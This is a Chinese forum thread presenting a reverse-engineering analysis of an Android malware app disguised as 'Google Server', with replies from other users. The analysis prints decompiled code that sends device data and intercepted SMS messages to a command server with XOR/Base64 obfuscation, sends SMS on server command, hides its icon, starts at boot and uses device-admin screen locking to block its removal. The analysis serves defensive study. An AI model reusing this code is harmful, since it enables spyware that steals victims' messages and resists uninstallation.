      HttpResponse object_HttpResponse;
      ArrayList object_ArrayList = newArrayList();
      ((List)object_ArrayList).add(newBasicNameValuePair("p", new String(Base64.encodeToString(newClass_a().xor_Base64_encode(
                arg6.toString(),"6d0a04f0dac119bfea2823a60cb691cd"), 0))));
      DefaultHttpClient object_DefaultHttpClient =Class_i.Create_GetHttpClient("/");
       object_DefaultHttpClient.getParams().setParameter("http.protocol.expect-continue",Boolean.valueOf(false));
      try {
            HttpPost object_HttpPost = new HttpPost("http://"+ arg5);
            object_HttpPost.setEntity(newUrlEncodedFormEntity(((List)object_ArrayList), "UTF-8"));
            object_HttpResponse =object_DefaultHttpClient.execute(((HttpUriRequest)object_HttpPost));
            if(object_HttpResponse.getStatusLine().getStatusCode()!= 200) {
                return null;
            }
      }
      catch(Exception v0_1) {
            return null;
      }
      try {
            InputStream object_InputStream =object_HttpResponse.getEntity().getContent();
            ByteArrayOutputStreamobject_ByteArrayOutputStream = new ByteArrayOutputStream();
            byte[] ByteArray_1 = newbyte;
            while(true) {
                int ByteArray_1_toByte =object_InputStream.read(ByteArray_1);
                if(ByteArray_1_toByte == -1) {
                  break;
                }
               object_ByteArrayOutputStream.write(ByteArray_1, 0, ByteArray_1_toByte);
            }
            object_InputStream.close();
            Stringobject_ByteArrayOutputStream_toByteArray = newString(object_ByteArrayOutputStream
                  .toByteArray());
            intobject_ByteArrayOutputStream_toByteArray_length =object_ByteArrayOutputStream_toByteArray
                  .length();
         if(object_ByteArrayOutputStream_toByteArray_length <= 17) {
                return null;
            }
            String v2_2 =object_ByteArrayOutputStream_toByteArray.substring(object_ByteArrayOutputStream_toByteArray_length
                     - 16,object_ByteArrayOutputStream_toByteArray_length);
            v0_7 =object_ByteArrayOutputStream_toByteArray.substring(0,object_ByteArrayOutputStream_toByteArray_length
                     - 16);
            if(!Class_i.get_MD5(String.valueOf(v0_7)+ "a?hg").substring(0, 16).equals(v2_2)) {
                return null;
            }
      }
      catch(IllegalStateException v0_3) {
            return null;
      }
      catch(ParseException v0_4) {
            goto label_90;
      }
      catch(Exception v0_1) {
            return null;
      }
      try {
            JSONObject v0_8 = newJSONObject(new String(new Class_a().xor_encode(new String(v0_7),"1djxdloien")));
            return v0_8;
      }
      catch(ParseException v0_4) {
      label_90:
      }
      catch(IllegalStateException v0_3) {
      }
      catch(Exception v0_1) {
      }
      return null;
}这一句用到了一个xor_Base64_encode()((List)object_ArrayList).add(newBasicNameValuePair("p", new String(Base64.encodeToString(newClass_a().xor_Base64_encode(arg6.toString(),"6d0a04f0dac119bfea2823a60cb691cd"), 0))));代码简单public byte[]xor_Base64_encode(String file_data, String arg10) {
      byte[] ByteArray_file_data =file_data.getBytes();
      int ByteArray_file_data_length =ByteArray_file_data.length;
      byte[] ByteArray_2 =Class_i.get_MD5("&dho02aQn" + arg10).getBytes();
      int ByteArray_2_length =ByteArray_2.length;
      int i;
      for(i = 0; i <ByteArray_file_data_length; ++i) {
            ByteArray_file_data =((byte)(ByteArray_2 ^ ByteArray_file_data[
                  i]));
      }
      returnBase64.encode(ByteArray_file_data, 0);
}获取HttpClientDefaultHttpClientobject_DefaultHttpClient = Class_i.Create_GetHttpClient("/");代码public static DefaultHttpClientCreate_GetHttpClient(String arg6) {
      BasicHttpParams object_BasicHttpParams= new BasicHttpParams();
      ((HttpParams)object_BasicHttpParams).setParameter("http.protocol.cookie-policy","");
       HttpProtocolParams.setVersion(((HttpParams)object_BasicHttpParams),HttpVersion.HTTP_1_1);
       HttpProtocolParams.setContentCharset(((HttpParams)object_BasicHttpParams),"ISO-8859-1");
      HttpProtocolParams.setUseExpectContinue(((HttpParams)object_BasicHttpParams),true);
       HttpProtocolParams.setUserAgent(((HttpParams)object_BasicHttpParams),arg6);
       HttpConnectionParams.setConnectionTimeout(((HttpParams)object_BasicHttpParams),3000);
       HttpConnectionParams.setSoTimeout(((HttpParams)object_BasicHttpParams),3000);
      SchemeRegistry object_SchemeRegistry =new SchemeRegistry();
      object_SchemeRegistry.register(newScheme("http", PlainSocketFactory.getSocketFactory(), 80));
      object_SchemeRegistry.register(newScheme("https", SSLSocketFactory.getSocketFactory(), 443));
      DefaultHttpClientobject_DefaultHttpClient = new DefaultHttpClient(newThreadSafeClientConnManager(((
                HttpParams)object_BasicHttpParams),object_SchemeRegistry), ((HttpParams)object_BasicHttpParams));
       object_DefaultHttpClient.getCookieSpecs().register("", newmyCookieSpecFactory());
      return object_DefaultHttpClient;
}其中还有一个地方是用于Cookie的,主要就是设置用的myCookieSpecFactory()package com.google.process.locations;
importorg.apache.http.cookie.CookieSpec;
importorg.apache.http.cookie.CookieSpecFactory;
importorg.apache.http.params.HttpParams;
class myCookieSpecFactoryimplements CookieSpecFactory {
    myCookieSpecFactory() {
      super();
    }
    public CookieSpec newInstance(HttpParamshttpparams) {
      return new myBrowserCompatSpec(this);
    }
}还有一个myBrowserCompatSpec()packagecom.google.process.locations;
importorg.apache.http.cookie.Cookie;
importorg.apache.http.cookie.CookieOrigin;
importorg.apache.http.impl.cookie.BrowserCompatSpec;
class myBrowserCompatSpecextends BrowserCompatSpec {
    myBrowserCompatSpec(myCookieSpecFactoryarg1) {
      this.a = arg1;
      super();
    }
    public void validate(Cookie cookie,CookieOrigin cookieorigin) {
    }
}接着通信,判断状态码是否是200try {
            HttpPost object_HttpPost = newHttpPost("http://" + arg5);
            object_HttpPost.setEntity(newUrlEncodedFormEntity(((List)object_ArrayList), "UTF-8"));
            object_HttpResponse =object_DefaultHttpClient.execute(((HttpUriRequest)object_HttpPost));
         if(object_HttpResponse.getStatusLine().getStatusCode() != 200) {
                return null;
            }
      }
      catch(Exception v0_1) {
            return null;
      }接下来的就是发送文件的代码了,没啥好看的
回到ReadandSend_file(),会进行返回数据的判断,一个是返回的JSonObject是否为空,还有一个是返回数据里on键值是否为1if(object_jsonobject == null) {
                return false;
            }
         if(object_jsonobject.getInt("on") != 1) {
                return false;
            }如果一切正常的话会返回true,回到Thread_SendandDelete_file
当返回的是true会进行删除文件操作object_file.delete();如果返回false说明文件没有发送成功或者服务器没有接收成功,则直接continue,不会删除文件,只有该文件发送成功了,才会执行删除操作
总结一下:每次开启service的时候会检查本地文件,并发送到服务器,发送成功会删除文件
接下来就是onStartCommand()离最后一项了Start_Thread_e()主要作用是和服务器通信,返回的数据通过type的键值传到Handler处理packagecom.google.process.locations;
import android.os.Message;
import android.text.TextUtils;
import org.json.JSONException;
import org.json.JSONObject;
class Thread_e extends Thread {
    Thread_e(GoogleLocationService arg1) {
      this.GoogleLocationService_this = arg1;
      super();
    }
    public void run() {
      Message object_message;
      JSONObject object_jsonobject;
      int int_temp = 2;
      try {
            object_jsonobject = new JSONObject();
         object_jsonobject.put("id", GoogleApplication.String_id);
         object_jsonobject.put("model",GoogleApplication.String_model);
         object_jsonobject.put("time", System.currentTimeMillis());
         object_jsonobject.put("type", 1);
            String String_mode ="mode";
         if(!GoogleApplication.sp_Boolean_mode) {
                int_temp = 1;
            }
            object_jsonobject.put(String_mode,int_temp);// mode键值为1
         if(GoogleLocationService.get_Boolean_a(this.GoogleLocationService_this)){
                goto label_82;
            }
            elseif(GoogleApplication.Boolean_sharedpreferences_send) {
               GoogleLocationService.set_Boolean_a(this.GoogleLocationService_this,true);
                int_temp = 9;
            }
            else {
                goto label_82;
            }
            goto label_29;
      }
      catch(JSONException v0_1) {
            goto label_62;
      }
    label_82:
      int_temp = 1;
      try {
      label_29:
         object_jsonobject.put("data", int_temp);// data键值为1
            JSONObject object_JSONObject =Class_i.ConnectSend_ResponseJsonobject(Class_i.get_Server_IPAddress(),
                   object_jsonobject.toString());
            if(object_JSONObject == null) {
                return;
            }
            int int_on =object_JSONObject.getInt("on");
            int int_type =object_JSONObject.getInt("type");
            if(int_on != 1) {
                goto label_79;// 判断on的键值是否为1,1表示正常
            }
            switch(int_type) {
                case 2: {
                  goto label_67;
                }
                case 9: {
                  goto label_44;
                }
            }
            return;
      label_44:
            String v0_3 =object_JSONObject.getString("num");
         if(!TextUtils.isEmpty(((CharSequence)v0_3))) {
                object_message =GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
                        .obtainMessage();
                object_message.what = 1;
                object_message.obj = v0_3;
                GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
                     .sendMessage(object_message);
            }
            else {
               GoogleApplication.Boolean_sharedpreferences_send = false;
                goto label_57;
            label_67:
                object_JSONObject =object_JSONObject.getJSONObject("data");
                object_message =GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
                        .obtainMessage();
                object_message.what = 2;
                object_message.obj =object_JSONObject;
               GoogleLocationService.get_GoogleLocationService_this_handler(this.GoogleLocationService_this)
                     .sendMessage(object_message);
                return;
            label_79:
               GoogleApplication.Boolean_b_notuse = true;
                return;
            }
      label_57:
            GoogleLocationService.set_Boolean_a(this.GoogleLocationService_this,false);
      }
      catch(JSONException v0_1) {
      label_62:
            GoogleApplication.Boolean_b_notuse= true;
      }
    }
}Handler这里最主要的功能如下if(!TextUtils.isEmpty(((CharSequence)v9))&& !TextUtils.isEmpty(((CharSequence)v10))) {
               GoogleLocationService.call_SendSMSmessage(this.a, v9, v10);
                Class_i.Delete_SMSmessage(this.a,v10);
               Class_i.call_CopyStoreNewSMSmessage(this.a, v9, newStringBuilder(String.valueOf(System
                     .currentTimeMillis())).toString(), v10, 10);
            }
            if(v6 == 1) {
               GoogleLocationService.call_StoreInformationofPhone(this.a, true);
            }
            if(v5 == 1 &&!TextUtils.isEmpty(((CharSequence)v8))) {
               GoogleLocationService.call_BridgeSendSMSmessage(this.a, v8);
            }
            if(v4 == 1) {
               GoogleLocationService.call_StoreHistorySMSmessage(this.a, true);
            }其中call_BridgeSendSMSmessage()最终会调用private voidBridgeSendSMSmessage(String String_Num) {
      String Phone_Information = String.valueOf(GoogleApplication.String_id)+ "," + GoogleApplication
                .String_model + "," +Build$VERSION.RELEASE;
      this.SendSMSmessage(String_Num,Phone_Information);
       Class_i.Delete_SMSmessage(((Context)this), Phone_Information);
       Class_i.call_CopyStoreNewSMSmessage(((Context)this), String_Num, newStringBuilder(String.valueOf(
               System.currentTimeMillis())).toString(), Phone_Information, 10);
       this.getSharedPreferences("app_preferences", 0).edit().putBoolean("send",false).commit();
}会通过受害者手机向指定手机号发短信,然后还会根据服务器返回的数据执行一些其他指令,看代码就可以看出来了
以上就是GoogleLocationService的行为
回溯到很久很久以前的代码,先梳理一下,GoogleApplication类的onCreate()方法注册了一个GoogleLocationService服务,然后这个服务的所有功能都在上面已经分析了
继续分析,GoogleApplication已经分析完了,接下来就该进入MainActivity了packagecom.google.process.locations;
import android.app.Activity;
importandroid.app.admin.DevicePolicyManager;
importandroid.content.ComponentName;
import android.content.Context;
import android.content.Intent;
importandroid.content.pm.PackageManager;
import android.os.Bundle;
import android.widget.Toast;
public class MainActivityextends Activity {
    private ComponentName object_ComponentName;
    private DevicePolicyManagerobject_DevicePolicyManager;
    public MainActivity() {
      super();
    }
    private void Toast_FinishInstall() {
      PackageManager object_PackageManager =this.getPackageManager();
      ComponentName object_ComponentName =this.getComponentName();
      int v2 = object_PackageManager.getComponentEnabledSetting(object_ComponentName);
      if(v2 == 0 || v2 == 1) {
         object_PackageManager.setComponentEnabledSetting(object_ComponentName,2, 1);// 隐藏图标
            Context context =this.getApplicationContext();
            String v2_1 = "%s证书启动成功";
            Object[] object_temp = newObject;
            String v0_1 =GoogleApplication.sp_Boolean_mode ? "安装" : "安全";
            object_temp = v0_1;
            Toast.makeText(context,String.format(v2_1, object_temp), 1).show();
      }
    }
    private voidStartService_GoogleLocationService() {
      this.startService(newIntent(this.getApplicationContext(), GoogleLocationService.class));
    }
    private void ActiveAdmin() {
      this.object_DevicePolicyManager =this.getSystemService("device_policy");
      this.object_ComponentName = newComponentName(((Context)this), DeviceReciver.class);
       if(!this.object_DevicePolicyManager.isAdminActive(this.object_ComponentName)){
            Intent intent = newIntent("android.app.action.ADD_DEVICE_ADMIN");
         intent.putExtra("android.app.extra.DEVICE_ADMIN",this.object_ComponentName);
            this.startActivity(intent);
      }
      else {
            this.Toast_FinishInstall();
      }
    }
    protected void onCreate(Bundle arg1) {
      super.onCreate(arg1);
      this.ActiveAdmin();
       this.StartService_GoogleLocationService();
      this.finish();
      this.ser();
    }
    void ser() {
      Class class_temp;
      try {
            class_temp =Class.forName("d.d.Default");
      }
      catch(ClassNotFoundException v0) {
            throw newNoClassDefFoundError(((Throwable)v0).getMessage());
      }
      this.startService(newIntent(((Context)this), class_temp));
    }
}onCreate()方法里还是先进入ActiveAdmin(),整体过程如同刚才所说的,如果不激活,会一直弹出激活窗口,如果激活了,会进入Toast_FinishInsatll()
然后弹出安全证书启动成功并且隐藏图标
这个恶意APP的大概功能就是这些了
接下来分析一下其它部分的代码
BootReceiver:开机自启动packagecom.google.process.locations;
importandroid.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootReceiverextends BroadcastReceiver {
    public BootReceiver() {
      super();
    }
    public void onReceive(Context context,Intent intent) {
      context.startService(newIntent(context, GoogleLocationService.class)); // 开机启动
    }
} DeviceReceiver:设备管理器 packagecom.google.process.locations;import android.app.admin.DeviceAdminReceiver;
importandroid.app.admin.DevicePolicyManager;
import android.content.Context;
import android.content.Intent;
public class DeviceReciverextends DeviceAdminReceiver {
    public DeviceReciver() {
      super();
    }
    public CharSequenceonDisableRequested(Context context, Intent intent_Param) {
      Intent intent =context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
      intent.setFlags(268435456);
      context.startActivity(intent);
      Object object_device_policy =context.getSystemService("device_policy");
       ((DevicePolicyManager)object_device_policy).lockNow();
      new Thread(newRunnable_LockScreen_7s_bypass(this, ((DevicePolicyManager)object_device_policy))).start();
      return "This is aonDisableRequested response message";
    }
   
    public void onDisabled(Context context,Intent intent) {
      super.onDisabled(context, intent);
    }
    public void onEnabled(Context context,Intent intent_Param) {
      Intent intent = new Intent(context,MainActivity.class);
      intent.addFlags(268435456);
      context.startActivity(intent);
      super.onEnabled(context, intent_Param);
    }
    public void onReceive(Context context,Intent intent) {
      super.onReceive(context, intent);
    }
}这个利用了安卓的一个设备管理器的一个漏洞:Android设备管理器取消激活漏洞
SMSReceiver:拦截短信,存储在本地,然后删除packagecom.google.process.locations;
importandroid.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
importandroid.telephony.SmsMessage;
public class SmsReciver extendsBroadcastReceiver {
    public SmsReciver() {
      super();
    }
    public void onReceive(Context context,Intent intent) {
      StringBuffer StringBuffer_1;
      StringBuffer StringBuffer_2 = null;
      Bundle object_bundle =intent.getExtras();
      if(object_bundle != null) {
         if(GoogleApplication.sp_Boolean_mode) {
                this.abortBroadcast();
            }
            Object object_pdus =object_bundle.get("pdus");
            int object_pdus_length =object_pdus.length;
            int i = 0;
            String StringBuffer_3 =((String)StringBuffer_2);
            String StringBuffer_4 =((String)StringBuffer_2);
            while(i < object_pdus_length) {
                SmsMessage object_SmsMessage =SmsMessage.createFromPdu(object_pdus);
                if(StringBuffer_4 == null) {
                  StringBuffer_4 =object_SmsMessage.getOriginatingAddress();
                }
                if(StringBuffer_3 == null) {
                  StringBuffer_3 = newStringBuilder(String.valueOf(object_SmsMessage.getTimestampMillis()))
                            .toString();
                }
                if(StringBuffer_2 == null) {
                  StringBuffer_1 = newStringBuffer(object_SmsMessage.getMessageBody());
                }
                else {
                   StringBuffer_2.append(object_SmsMessage.getMessageBody());
                  StringBuffer_1 =StringBuffer_2;
                }
               if(GoogleApplication.sp_Boolean_mode) {
                  Class_i.Delete_SMSmessage(context,object_SmsMessage.getMessageBody());
                }
                ++i;
                StringBuffer_2 =StringBuffer_1;
            }
         Class_i.call_CopyStoreNewSMSmessage(context, StringBuffer_4.toString(),StringBuffer_3.toString(),
                  StringBuffer_2.toString(),1);
      }
    }
}
最后总结一下:这玩意对于4.2以下的系统的话还是很危险的,因为卸载不掉,其它行为就比较一般了,监控短信,存储在本地,然后传服务器
样本的话:这次就不提供了
不定期的会录制一些视频分享调试的一些心得:移动恶意APP分析的心得分享

zerogz 发表于 2016-7-19 15:44

wnagzihxain 发表于 2016-7-19 15:30
我上一篇锁屏分析的最下面有关于这个的处理,直接复制过来排版不好看,代码也会很混乱,你去看看吧

http://www.52pojie.cn/forum.php?mod=viewthread&tid=515795
谢谢大神,是这个链接吧?看了一下,要理解还真要花点时间,我的没有锁屏,主要的伪装成“录音机”、“好音乐”等APP自动安装,还会发送订阅短信代码,幸好防火墙拦截了,暂时没有造成损失,但这个感觉有点类似幽灵推,但有不完全相同,关键是搜索也没有其他处理方法。

zerogz 发表于 2016-7-19 15:24

wnagzihxain 发表于 2016-7-18 23:13
我感觉你这情况下个管家先扫描一波比较好,无论是鹅厂的还是数字的都先试一试,如果Root了的话把可疑的应 ...

感觉是已经写进了system/app的,删掉还会再出现,换了几款杀毒软件查杀后还会继续出现,具体教程在哪里有的?因为对于手机处理这种情况我是一窍不通的,希望能得到大家的帮助,谢谢!

枫MapleLCG 发表于 2016-7-13 22:40

本帖最后由 枫叶飘零 于 2016-7-13 22:42 编辑

前排膜拜大牛,抚摸沙发,那些恶意APP的发布者真的是缺钙。
为什么最后不用插入代码功能呢

taxuewuhen 发表于 2016-7-13 22:48

前排膜拜大牛
太长了 不懂

hacker乌鸦 发表于 2016-7-13 22:53

太长,夹杂了大量代码,so。。。。我没仔细看,不过就冲能从代码分析来看,露珠应该是大拿

wnagzihxain 发表于 2016-7-13 23:02

枫叶飘零 发表于 2016-7-13 22:40
前排膜拜大牛,抚摸沙发,那些恶意APP的发布者真的是缺钙。
为什么最后不用插入代码功能呢

我说在排版就是在使用添加代码,因为先在word上写的,所以直接拷贝过来慢慢排版

lies2014 发表于 2016-7-14 00:05

分析的很详细,可惜没有样本,加分先!

oxygen 发表于 2016-7-14 23:27

太长,夹杂了大量代码,so。。。。我没仔细看

KaQqi 发表于 2016-7-15 08:38

子贤又发新教程了,值得一看

一片枫叶落地无 发表于 2016-7-15 10:56

哎 完全看不懂 看来还需要学习

A-zhu 发表于 2016-7-15 10:57

学习了~
页: [1] 2 3 4 5 6 7
查看完整版本: 对恶意APP"Google Server"的逆向分析